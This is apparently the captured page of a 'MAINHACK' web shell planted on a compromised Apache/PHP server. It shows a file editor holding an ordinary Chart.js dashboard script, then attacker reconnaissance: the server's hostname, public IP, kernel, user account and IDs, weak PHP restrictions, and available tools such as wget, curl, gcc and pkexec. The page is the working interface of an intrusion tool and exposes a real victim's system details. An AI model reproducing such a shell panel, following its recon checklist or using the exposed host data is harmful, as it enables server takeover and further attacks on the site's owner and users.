[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: dashboard-admin.js
(function ($) { "use strict"; $(window).on('load', function() { setTimeout(function() { if (document.getElementById("revenueAnalysis")) { var chartCurrency = _admin_currency_symbol; const revenueAnalysis = document .getElementById("revenueAnalysis") .getContext("2d"); var revenueAnalysisChart = new Chart(revenueAnalysis, { type: "line", data: { labels: [], datasets: [ { label: $lang_revenue, data: [], backgroundColor: ["rgba(46, 204, 113, 0.4)"], borderColor: ["rgba(46, 204, 113, 1.0)"], yAxisID: "y", borderWidth: 2, tension: 0.4, }, ], }, options: { interaction: { mode: "index", intersect: false, }, responsive: true, //maintainAspectRatio: false, stacked: true, scales: { y: { type: "linear", display: true, position: "left", ticks: { callback: function (value, index, values) { return chartCurrency + " " + value; }, }, }, }, plugins: { legend: { labels: { usePointStyle: true, pointStyle: "rectRounded", }, }, tooltip: { callbacks: { label: function (context) { var label = context.dataset.label || ""; if ( context.parsed.y !== null && context.dataset.yAxisID == "y" ) { label += ": " + chartCurrency + " " + context.parsed.y; } else { label += ": " + context.parsed.y; } return label; }, }, }, }, }, }); } //Package Overview Chart if (document.getElementById("packageOverview")) { var link2 = _url + "/dashboard/json_package_wise_subscription"; $.ajax({ url: link2, success: function (data2) { var json2 = JSON.parse(data2); const ctx = document .getElementById("packageOverview") .getContext("2d"); const packageOverviewChart = new Chart(ctx, { type: "doughnut", data: { labels: json2["package"], datasets: [ { data: json2["subscribed"], backgroundColor: json2["colors"], }, ], }, options: { responsive: true, plugins: { legend: { labels: { usePointStyle: true, pointStyle: "rectRounded", }, }, title: { display: false, text: $lang_expense_overview, }, tooltip: { callbacks: { label: function (context) { return ( " " + context.label + ": " + context.parsed ); }, }, }, }, }, }); }, }); } if (document.getElementById("revenueAnalysis")) { $.ajax({ url: _url + "/dashboard/json_yearly_reveneu", success: function (data) { var json = JSON.parse(data); revenueAnalysisChart.data.labels = json["month"]; revenueAnalysisChart.data.datasets[0].data = [ typeof json["transactions"][1] !== "undefined" ? json["transactions"][1] : 0, typeof json["transactions"][2] !== "undefined" ? json["transactions"][2] : 0, typeof json["transactions"][3] !== "undefined" ? json["transactions"][3] : 0, typeof json["transactions"][4] !== "undefined" ? json["transactions"][4] : 0, typeof json["transactions"][5] !== "undefined" ? json["transactions"][5] : 0, typeof json["transactions"][6] !== "undefined" ? json["transactions"][6] : 0, typeof json["transactions"][7] !== "undefined" ? json["transactions"][7] : 0, typeof json["transactions"][8] !== "undefined" ? json["transactions"][8] : 0, typeof json["transactions"][9] !== "undefined" ? json["transactions"][9] : 0, typeof json["transactions"][10] !== "undefined" ? json["transactions"][10] : 0, typeof json["transactions"][11] !== "undefined" ? json["transactions"][11] : 0, typeof json["transactions"][12] !== "undefined" ? json["transactions"][12] : 0, ]; revenueAnalysisChart.update(); }, }); } $(".loading-chart").remove(); }, 2000); }); })(jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002